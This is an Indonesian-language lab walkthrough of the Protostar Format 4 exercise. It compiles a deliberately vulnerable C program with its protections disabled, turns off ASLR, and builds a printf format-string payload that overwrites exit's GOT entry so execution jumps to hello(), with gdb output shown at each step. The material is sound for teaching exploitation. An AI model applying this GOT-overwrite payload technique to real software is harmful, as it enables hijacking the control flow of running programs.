Protostar Format 4

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void hello()
{
  printf("code execution redirected! you win\n");
  _exit(1);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printf(buffer);

  exit(1);   
}

int main(int argc, char **argv)
{
  vuln();
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

Berdasarkan source code diatas terdapat kelemahan format string pada fungsi printf. Tujuan akhirnya adalah mengalihkan panggilan fungsi exit menjadi ke fungsi hello dengan menimpa global offset table.

Gali informasi mengenai alamat yang diperlukan.

objdump -tR vuln | grep -P '( exit| hello)' 
080484eb g     F .text    00000020              hello
...
0804a01c R_386_JUMP_SLOT   exit@GLIBC_2.0

Cari offset yang tepat antara input dengan lokasi yang dikenali.

$ python -c 'print "AAAA"+"%x."*3+"%x"' | tr -d "\n" | ./vuln
AAAA200.f7f005a0.f7f4afaa.41414141

Berdasarkan ouput diatas maka nilai offset = 4.

Untuk menimpa GOT pada fungsi exit maka gunakan Increment Payload dibawah ini:

$ python -c 'print "\x1c\xa0\x04\x08"+"\x1d\xa0\x04\x08"+"\x1e\xa0\x04\x08"+"\x1f\xa0\x04\x08"+"%4$n"' | tr -d "\n" > PAY

gdb -q vuln
...
gdb-peda$ r < PAY
Starting program: /home/dummy/Private/progress/format-string/vuln < PAY

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x10 
EBX: 0x0 
ECX: 0xf7fa4ac0 --> 0x0 
EDX: 0xf7fa6870 --> 0x0 
ESI: 0xf7fa5000 --> 0x1b1db0 
EDI: 0xf7fa5000 --> 0x1b1db0 
EBP: 0xffffd428 --> 0xffffd438 --> 0x0 
ESP: 0xffffd20c --> 0x804854d (<main>:    lea    ecx,[esp+0x4])
EIP: 0x10
EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x10
[------------------------------------stack-------------------------------------]
0000| 0xffffd20c --> 0x804854d (<main>:    lea    ecx,[esp+0x4])
0004| 0xffffd210 --> 0x1 
0008| 0xffffd214 --> 0x200 
0012| 0xffffd218 --> 0xf7fa55a0 --> 0xfbad2098 
0016| 0xffffd21c --> 0xf7feffaa (<malloc+26>:    add    esp,0x18)
0020| 0xffffd220 --> 0x804a01c --> 0x10 
0024| 0xffffd224 --> 0x804a01d --> 0x40000000 ('')
0028| 0xffffd228 --> 0x804a01e --> 0xb5400000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000010 in ?? ()

gdb-peda$ x/1x 0x0804a01c
0x804a01c:    0x00000010

Didapatkanlah selisih pada byte awal sebesar 0x10. Hitung selisih positif dengan pasangan:

Format:

byte[3]-diff
byte[2]-byte[3]
byte[1]-byte[2]
byte[0]-byte[1]

Misal:

0x080484eb

p 0xeb - 0x00000010

p 0x84 - 0xeb
p 0x184 - 0xeb

p 0x04 - 0x84
p 0x104 - 0x84

p 0x08 - 0x04
p 0x108 - 0x04
gdb-peda$ x/1x 0x0804a01c
0x804a01c:    0x00000010

gdb-peda$ p 0xeb - 0x00000010
$8 = 0xdb

gdb-peda$ p 0x84 - 0xeb
$9 = 0xffffff99

gdb-peda$ p 0x184 - 0xeb
$10 = 0x99

gdb-peda$ p 0x04 - 0x84
$11 = 0xffffff80

gdb-peda$ p 0x104 - 0x84
$12 = 0x80

gdb-peda$ p 0x08 - 0x04
$13 = 0x4

gdb-peda$ p 0x108 - 0x04
$14 = 0x104

Eksploitasi

Untuk mengeksploitasi enumerasi saja Payload selanjutnya.

$ python -c 'print "\x1c\xa0\x04\x08"+"\x1d\xa0\x04\x08"+"\x1e\xa0\x04\x08"+"\x1f\xa0\x04\x08"+"%219x%4$n"+"%153x%5$n"+"%128x%6$n"+"%260x%7$n"' | tr -d "\n" | ./vuln 
...
804a01c
code execution redirected! you win

Referensi

results matching ""

    No results matching ""